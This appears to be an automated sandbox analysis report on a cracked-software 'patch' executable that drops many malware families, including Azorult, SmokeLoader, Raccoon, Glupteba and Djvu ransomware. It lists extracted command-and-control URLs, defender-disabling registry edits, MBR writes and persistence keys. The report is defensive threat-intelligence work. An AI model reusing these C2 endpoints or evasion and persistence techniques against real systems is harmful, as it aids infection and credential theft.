Analysis
-
max time kernel
480s -
max time network
481s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
04-03-2021 20:22
Static task
static1
Behavioral task
behavioral1
Sample
Diptrace_free_2_1_0_patch_by_ViKiNG.exe
Resource
win10v20201028
Behavioral task
behavioral2
Sample
Diptrace_free_2_1_0_patch_by_ViKiNG.exe
Resource
win10v20201028
Behavioral task
behavioral3
Sample
Diptrace_free_2_1_0_patch_by_ViKiNG.exe
Resource
win10v20201028
Behavioral task
behavioral4
Sample
Diptrace_free_2_1_0_patch_by_ViKiNG.exe
Resource
win10v20201028
Behavioral task
behavioral5
Sample
Diptrace_free_2_1_0_patch_by_ViKiNG.exe
Resource
win7v20201028
Errors
General
-
Target
Diptrace_free_2_1_0_patch_by_ViKiNG.exe
-
Size
8.6MB
-
MD5
d6a915dd872b1734cbeb408f69d142eb
-
SHA1
3864b28a20d67f33289933eeaf4ecd0b274270fc
-
SHA256
a6281af0a7545825e8ef84ead4788758a233afcdc5b09b1471edb7d8f8fc1a3d
-
SHA512
c9b80e41c5b9ba4a4bf9bb0bcbc3b8401be63717054d63b93db620a81624d2262262f5088b3edf00be3aa995a392d1e6e70761a9bb26d17d095b90f23b190fc5
Malware Config
Extracted
azorult
http://kvaka.li/1210776429.php
Extracted
smokeloader
2020
http://naritouzina.net/
http://nukaraguasleep.net/
http://notfortuaj.net/
http://natuturalistic.net/
http://zaniolofusa.net/
http://4zavr.com/upload/
http://zynds.com/upload/
http://atvua.com/upload/
http://detse.net/upload/
http://dsdett.com/upload/
http://dtabasee.com/upload/
http://yeronogles.monster/upload/
Extracted
smokeloader
2019
http://10022020newfolder1002002131-service1002.space/
http://10022020newfolder1002002231-service1002.space/
http://10022020newfolder3100231-service1002.space/
http://10022020newfolder1002002431-service1002.space/
http://10022020newfolder1002002531-service1002.space/
http://10022020newfolder33417-01242510022020.space/
http://10022020test125831-service1002012510022020.space/
http://10022020test136831-service1002012510022020.space/
http://10022020test147831-service1002012510022020.space/
http://10022020test146831-service1002012510022020.space/
http://10022020test134831-service1002012510022020.space/
http://10022020est213531-service100201242510022020.ru/
http://10022020yes1t3481-service1002012510022020.ru/
http://10022020test13561-service1002012510022020.su/
http://10022020test14781-service1002012510022020.info/
http://10022020test13461-service1002012510022020.net/
http://10022020test15671-service1002012510022020.tech/
http://10022020test12671-service1002012510022020.online/
http://10022020utest1341-service1002012510022020.ru/
http://10022020uest71-service100201dom2510022020.ru/
http://10022020test61-service1002012510022020.website/
http://10022020test51-service1002012510022020.xyz/
http://10022020test41-service100201pro2510022020.ru/
http://10022020yest31-service100201rus2510022020.ru/
http://10022020rest21-service1002012510022020.eu/
http://10022020test11-service1002012510022020.press/
http://10022020newfolder4561-service1002012510022020.ru/
http://10022020rustest213-service1002012510022020.ru/
http://10022020test281-service1002012510022020.ru/
http://10022020test261-service1002012510022020.space/
http://10022020yomtest251-service1002012510022020.ru/
http://10022020yirtest231-service1002012510022020.ru/
Extracted
metasploit
windows/single_exec
Extracted
raccoon
afefd33a49c7cbd55d417545269920f24c85aa37
-
url4cnc
https://telete.in/jagressor_kz
Signatures
-
Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
-
Deletes Windows Defender Definitions 2 TTPs 1 IoCs
Uses mpcmdrun utility to delete all AV definitions.
Processes:
mpcmdrun.exepid process 1220 mpcmdrun.exe -
Djvu Ransomware
Ransomware which is a variant of the STOP family.
-
ElysiumStealer
ElysiumStealer (previously known as ZeromaxStealer) is an info stealer that can steal login credentials for various accounts.
-
ElysiumStealer Payload 1 IoCs
Processes:
resource yara_rule behavioral5/memory/2608-176-0x00000000002F0000-0x00000000002F6000-memory.dmp elysiumstealer -
Glupteba Payload 3 IoCs
Processes:
resource yara_rule behavioral5/memory/2380-322-0x0000000000400000-0x0000000000C1B000-memory.dmp family_glupteba behavioral5/memory/2380-324-0x0000000000400000-0x0000000000C1B000-memory.dmp family_glupteba behavioral5/memory/2380-326-0x00000000035D0000-0x0000000003DD2000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Taurus Stealer
Taurus is an infostealer first seen in June 2020.
-
Modifies boot configuration data using bcdedit 14 IoCs
Processes:
bcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exepid process 2360 bcdedit.exe 2088 bcdedit.exe 1752 bcdedit.exe 2872 bcdedit.exe 2884 bcdedit.exe 1212 bcdedit.exe 2400 bcdedit.exe 2216 bcdedit.exe 2568 bcdedit.exe 1828 bcdedit.exe 920 bcdedit.exe 3040 bcdedit.exe 2652 bcdedit.exe 2044 bcdedit.exe -
Disables Task Manager via registry modification
-
Drops file in Drivers directory 2 IoCs
Processes:
csrss.exeupdatewin2.exedescription ioc process File created C:\Windows\system32\drivers\Winmon.sys csrss.exe File opened for modification C:\Windows\System32\drivers\etc\hosts updatewin2.exe -
Executes dropped EXE 64 IoCs
Processes:
keygen-pr.exekeygen-step-1.exekeygen-step-3.exekeygen-step-4.exefile.exekey.exe920D.tmp.exe920D.tmp.exeSetup.exeC0CA61A12E4C8B38.exeC0CA61A12E4C8B38.exeInstall.exemultitimer.exeaskinstall20.exemd2_2efs.exeBTRSetp.exemultitimer.exe2719482.29433606.48427628.925857830.64gcttt.exejfiag3g_gg.exejfiag3g_gg.exeWindows Host.exeThunderFW.exeMiniThunderPlatform.exe23E04C4F32EF2158.exe23E04C4F32EF2158.tmpseed.sfx.exeseed.exe9897.exe9897.exeC6BA.exeupdatewin1.exeSui.comSui.comupdatewin2.exeupdatewin1.exeupdatewin.exe5.exeDBE0.exeE36F.exeE36F.exeF6C2.exejfiag3g_gg.exejfiag3g_gg.exe1615.exeSui.com2CA2.exe40BF.exe1615.execsrss.exepatch.exedsefix.exewindefender.exewindefender.exe1010.tmp.exe11E5.tmp.exe23A1.tmp.exe2BDC.tmp.exe3697.tmp.exe3DE8.tmp.exe421D.exepid process 792 keygen-pr.exe 916 keygen-step-1.exe 1676 keygen-step-3.exe 640 keygen-step-4.exe 1660 file.exe 268 key.exe 1212 920D.tmp.exe 768 920D.tmp.exe 1528 Setup.exe 1184 C0CA61A12E4C8B38.exe 1320 C0CA61A12E4C8B38.exe 1152 Install.exe 1920 multitimer.exe 1436 askinstall20.exe 2104 md2_2efs.exe 2204 BTRSetp.exe 2408 multitimer.exe 2420 2719482.29 2428 433606.4 2632 8427628.92 2608 5857830.64 2584 gcttt.exe 2536 jfiag3g_gg.exe 2640 jfiag3g_gg.exe 2724 Windows Host.exe 2884 ThunderFW.exe 3004 MiniThunderPlatform.exe 1320 23E04C4F32EF2158.exe 2064 23E04C4F32EF2158.tmp 2148 seed.sfx.exe 2404 seed.exe 2332 9897.exe 1048 9897.exe 2908 C6BA.exe 2984 updatewin1.exe 2096 Sui.com 3028 Sui.com 872 updatewin2.exe 840 updatewin1.exe 1652 updatewin.exe 864 5.exe 1524 DBE0.exe 800 E36F.exe 1288 E36F.exe 1484 F6C2.exe 296 jfiag3g_gg.exe 1976 jfiag3g_gg.exe 2380 1615.exe 2696 Sui.com 1152 2CA2.exe 2304 40BF.exe 3056 1615.exe 736 csrss.exe 2572 patch.exe 2140 dsefix.exe 2352 windefender.exe 3048 windefender.exe 1000 1010.tmp.exe 332 11E5.tmp.exe 3024 23A1.tmp.exe 2380 2BDC.tmp.exe 1980 3697.tmp.exe 2084 3DE8.tmp.exe 2264 421D.exe -
Modifies Windows Firewall 1 TTPs
-
Possible attempt to disable PatchGuard 2 TTPs
Rootkits can use kernel patching to embed themselves in an operating system.
-
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\gdiview.msi office_xlm_macros -
Processes:
resource yara_rule behavioral5/memory/2352-366-0x0000000000400000-0x0000000000897000-memory.dmp upx -
Drops startup file 1 IoCs
Processes:
421D.exedescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SmartClock.lnk 421D.exe -
Loads dropped DLL 64 IoCs
Processes:
cmd.exekeygen-step-4.exekeygen-pr.exekey.exefile.exeMsiExec.exeSetup.exegcttt.exe5857830.64433606.4C0CA61A12E4C8B38.exeMiniThunderPlatform.exe23E04C4F32EF2158.exe23E04C4F32EF2158.tmppid process 1696 cmd.exe 1696 cmd.exe 1696 cmd.exe 1696 cmd.exe 1696 cmd.exe 640 keygen-step-4.exe 640 keygen-step-4.exe 640 keygen-step-4.exe 792 keygen-pr.exe 792 keygen-pr.exe 792 keygen-pr.exe 792 keygen-pr.exe 268 key.exe 1660 file.exe 1660 file.exe 640 keygen-step-4.exe 640 keygen-step-4.exe 640 keygen-step-4.exe 640 keygen-step-4.exe 892 MsiExec.exe 1528 Setup.exe 1528 Setup.exe 640 keygen-step-4.exe 640 keygen-step-4.exe 640 keygen-step-4.exe 640 keygen-step-4.exe 640 keygen-step-4.exe 640 keygen-step-4.exe 640 keygen-step-4.exe 640 keygen-step-4.exe 640 keygen-step-4.exe 640 keygen-step-4.exe 640 keygen-step-4.exe 640 keygen-step-4.exe 640 keygen-step-4.exe 640 keygen-step-4.exe 640 keygen-step-4.exe 640 keygen-step-4.exe 640 keygen-step-4.exe 640 keygen-step-4.exe 640 keygen-step-4.exe 2584 gcttt.exe 2584 gcttt.exe 2584 gcttt.exe 2584 gcttt.exe 2608 5857830.64 2428 433606.4 2428 433606.4 1184 C0CA61A12E4C8B38.exe 1184 C0CA61A12E4C8B38.exe 1184 C0CA61A12E4C8B38.exe 1184 C0CA61A12E4C8B38.exe 1184 C0CA61A12E4C8B38.exe 1184 C0CA61A12E4C8B38.exe 3004 MiniThunderPlatform.exe 3004 MiniThunderPlatform.exe 3004 MiniThunderPlatform.exe 3004 MiniThunderPlatform.exe 3004 MiniThunderPlatform.exe 3004 MiniThunderPlatform.exe 3004 MiniThunderPlatform.exe 1184 C0CA61A12E4C8B38.exe 1320 23E04C4F32EF2158.exe 2064 23E04C4F32EF2158.tmp -
Modifies file permissions 1 TTPs 1 IoCs
-
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Processes:
1615.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" 1615.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" 1615.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\FrostySnow = "0" 1615.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" 1615.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" 1615.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\1615.exe = "0" 1615.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" 1615.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" 1615.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" 1615.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" 1615.exe -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 4 IoCs
Processes:
9897.exe1615.exegcttt.exe433606.4description ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\3db345d3-ee9d-459c-ba60-f3444380c61e\\9897.exe\" --AutoStart" 9897.exe Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Windows\CurrentVersion\Run\FrostySnow = "\"C:\\Windows\\rss\\csrss.exe\"" 1615.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\haleng = "C:\\Users\\Admin\\AppData\\Local\\Temp\\haleng.exe" gcttt.exe Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows Host = "C:\\ProgramData\\Windows Host\\Windows Host.exe" 433606.4 -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Enumerates connected drives 3 TTPs 48 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
msiexec.exemsiexec.exedescription ioc process File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\W: msiexec.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 7 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 26 api.ipify.org 70 ip-api.com 72 icanhazip.com 175 api.2ip.ua 176 api.2ip.ua 178 api.2ip.ua 214 ip-api.com -
Writes to the Master Boot Record (MBR) 1 TTPs 5 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
Processes:
51A8.exeSetup.exeC0CA61A12E4C8B38.exeC0CA61A12E4C8B38.exeMiniThunderPlatform.exedescription ioc process File opened for modification \??\PHYSICALDRIVE0 51A8.exe File opened for modification \??\PhysicalDrive0 Setup.exe File opened for modification \??\PhysicalDrive0 C0CA61A12E4C8B38.exe File opened for modification \??\PhysicalDrive0 C0CA61A12E4C8B38.exe File opened for modification \??\PhysicalDrive0 MiniThunderPlatform.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
Processes:
Setup.exepid process 1528 Setup.exe -
Suspicious use of SetThreadContext 6 IoCs
Processes:
920D.tmp.exeC0CA61A12E4C8B38.exeE36F.exeSui.comdescription pid process target process PID 1212 set thread context of 768 1212 920D.tmp.exe 920D.tmp.exe PID 1184 set thread context of 1560 1184 C0CA61A12E4C8B38.exe firefox.exe PID 1184 set thread context of 2132 1184 C0CA61A12E4C8B38.exe firefox.exe PID 1184 set thread context of 2888 1184 C0CA61A12E4C8B38.exe firefox.exe PID 800 set thread context of 1288 800 E36F.exe E36F.exe PID 3028 set thread context of 2696 3028 Sui.com Sui.com -
Drops file in Program Files directory 40 IoCs
Processes:
23E04C4F32EF2158.tmpseed.sfx.exemsiexec.exedescription ioc process File opened for modification C:\Program Files (x86)\DTS\seed.sfx.exe 23E04C4F32EF2158.tmp File created C:\Program Files (x86)\DTS\is-TBK8T.tmp 23E04C4F32EF2158.tmp File created C:\Program Files (x86)\DTS\images\is-RT31E.tmp 23E04C4F32EF2158.tmp File created C:\Program Files (x86)\Seed Trade\Seed\seed.exe seed.sfx.exe File created C:\Program Files (x86)\gdiview\gdiview\GDIView.exe msiexec.exe File created C:\Program Files (x86)\DTS\images\is-N6MTV.tmp 23E04C4F32EF2158.tmp File created C:\Program Files (x86)\DTS\lang\is-EN0DL.tmp 23E04C4F32EF2158.tmp File created C:\Program Files (x86)\DTS\is-0V6G0.tmp 23E04C4F32EF2158.tmp File created C:\Program Files (x86)\DTS\images\is-EIUSR.tmp 23E04C4F32EF2158.tmp File created C:\Program Files (x86)\DTS\images\is-DHE2C.tmp 23E04C4F32EF2158.tmp File opened for modification C:\Program Files (x86)\DTS\DreamTrip.exe 23E04C4F32EF2158.tmp File created C:\Program Files (x86)\DTS\is-1F09K.tmp 23E04C4F32EF2158.tmp File created C:\Program Files (x86)\DTS\is-GE6B5.tmp 23E04C4F32EF2158.tmp File opened for modification C:\Program Files (x86)\Seed Trade\Seed\seed.exe seed.sfx.exe File created C:\Program Files (x86)\DTS\is-T1FNO.tmp 23E04C4F32EF2158.tmp File created C:\Program Files (x86)\DTS\is-ESDP1.tmp 23E04C4F32EF2158.tmp File created C:\Program Files (x86)\DTS\images\is-C3TEM.tmp 23E04C4F32EF2158.tmp File created C:\Program Files (x86)\DTS\images\is-MCP3T.tmp 23E04C4F32EF2158.tmp File created C:\Program Files (x86)\DTS\images\is-5G121.tmp 23E04C4F32EF2158.tmp File created C:\Program Files (x86)\DTS\lang\is-AR201.tmp 23E04C4F32EF2158.tmp File opened for modification C:\Program Files (x86)\DTS\unins000.dat 23E04C4F32EF2158.tmp File created C:\Program Files (x86)\gdiview\gdiview\readme.txt msiexec.exe File created C:\Program Files (x86)\DTS\unins000.dat 23E04C4F32EF2158.tmp File created C:\Program Files (x86)\DTS\is-C9DG0.tmp 23E04C4F32EF2158.tmp File created C:\Program Files (x86)\DTS\images\is-39I6Q.tmp 23E04C4F32EF2158.tmp File created C:\Program Files (x86)\DTS\images\is-4O46K.tmp 23E04C4F32EF2158.tmp File opened for modification C:\Program Files (x86)\Seed Trade seed.sfx.exe File created C:\Program Files (x86)\DTS\images\is-3ES9D.tmp 23E04C4F32EF2158.tmp File created C:\Program Files (x86)\DTS\images\is-JUDGL.tmp 23E04C4F32EF2158.tmp File created C:\Program Files (x86)\DTS\images\is-0DFJR.tmp 23E04C4F32EF2158.tmp File created C:\Program Files (x86)\DTS\images\is-FAVGB.tmp 23E04C4F32EF2158.tmp File created C:\Program Files (x86)\Seed Trade\Seed\__tmp_rar_sfx_access_check_259459770 seed.sfx.exe File created C:\Program Files (x86)\gdiview\gdiview\GDIView.chm msiexec.exe File created C:\Program Files (x86)\DTS\is-O4LE3.tmp 23E04C4F32EF2158.tmp File created C:\Program Files (x86)\DTS\is-LM3NL.tmp 23E04C4F32EF2158.tmp File created C:\Program Files (x86)\DTS\images\is-2QAUD.tmp 23E04C4F32EF2158.tmp File opened for modification C:\Program Files (x86)\Seed Trade\Seed seed.sfx.exe File created C:\Program Files (x86)\DTS\is-ME6IB.tmp 23E04C4F32EF2158.tmp File created C:\Program Files (x86)\DTS\images\is-A296U.tmp 23E04C4F32EF2158.tmp File created C:\Program Files (x86)\DTS\images\is-1VAQS.tmp 23E04C4F32EF2158.tmp -
Drops file in Windows directory 17 IoCs
Processes:
multitimer.exeDrvInst.exemsiexec.execsrss.exe1615.exedescription ioc process File created C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\enterprisesec.config.cch.new multitimer.exe File opened for modification C:\Windows\INF\setupapi.ev1 DrvInst.exe File opened for modification C:\Windows\INF\setupapi.dev.log DrvInst.exe File created C:\Windows\Installer\f79c8ea.msi msiexec.exe File opened for modification C:\Windows\Installer\f79c8ea.msi msiexec.exe File created C:\Windows\windefender.exe csrss.exe File opened for modification C:\Windows\windefender.exe csrss.exe File opened for modification C:\Windows\rss 1615.exe File opened for modification C:\Windows\Installer\MSICD9C.tmp msiexec.exe File opened for modification C:\Windows\INF\setupapi.ev3 DrvInst.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\f79c8ed.msi msiexec.exe File opened for modification \??\c:\windows\installer\{ac76ba86-7ad7-1033-7b44-a90000000001}\sc_reader.exe File created C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\security.config.cch.new multitimer.exe File created C:\Windows\rss\csrss.exe 1615.exe File created C:\Windows\Installer\f79c8eb.ipi msiexec.exe File opened for modification C:\Windows\Installer\f79c8eb.ipi msiexec.exe -
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Checks SCSI registry key(s) 3 TTPs 9 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
2CA2.exeE36F.exeseed.exedescription ioc process Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 2CA2.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 2CA2.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI E36F.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI seed.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI seed.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI E36F.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI E36F.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 2CA2.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI seed.exe -
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
5.exeSui.com920D.tmp.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString 5.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Sui.com Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString Sui.com Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 920D.tmp.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString 920D.tmp.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 5.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 1548 schtasks.exe 2212 schtasks.exe -
Delays execution with timeout.exe 3 IoCs
Processes:
timeout.exetimeout.exetimeout.exepid process 2160 timeout.exe 2460 timeout.exe 3016 timeout.exe -
Kills process with taskkill 5 IoCs
Processes:
taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exepid process 2416 taskkill.exe 2044 taskkill.exe 676 taskkill.exe 2648 taskkill.exe 2812 taskkill.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
file.exe1615.execsrss.exewindefender.exenetsh.exeDrvInst.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates file.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-441 = "Arabian Daylight Time" 1615.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-491 = "India Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-552 = "North Asia Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-601 = "Taipei Daylight Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root file.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-334 = "Jordan Daylight Time" 1615.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-51 = "Greenland Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-91 = "Pacific SA Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-301 = "Romance Daylight Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA file.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-722 = "Central Pacific Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-1042 = "Ulaanbaatar Standard Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs file.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-3 = "Microsoft Corporation" netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs file.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-891 = "Morocco Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-215 = "Pacific Standard Time (Mexico)" windefender.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-292 = "Central European Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-871 = "Pakistan Daylight Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs file.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-364 = "Middle East Daylight Time" 1615.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople DrvInst.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-372 = "Jerusalem Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-502 = "Nepal Standard Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs file.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-451 = "Caucasus Daylight Time" 1615.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time" 1615.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time" 1615.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@tzres.dll,-142 = "Canada Central Standard Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My file.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates 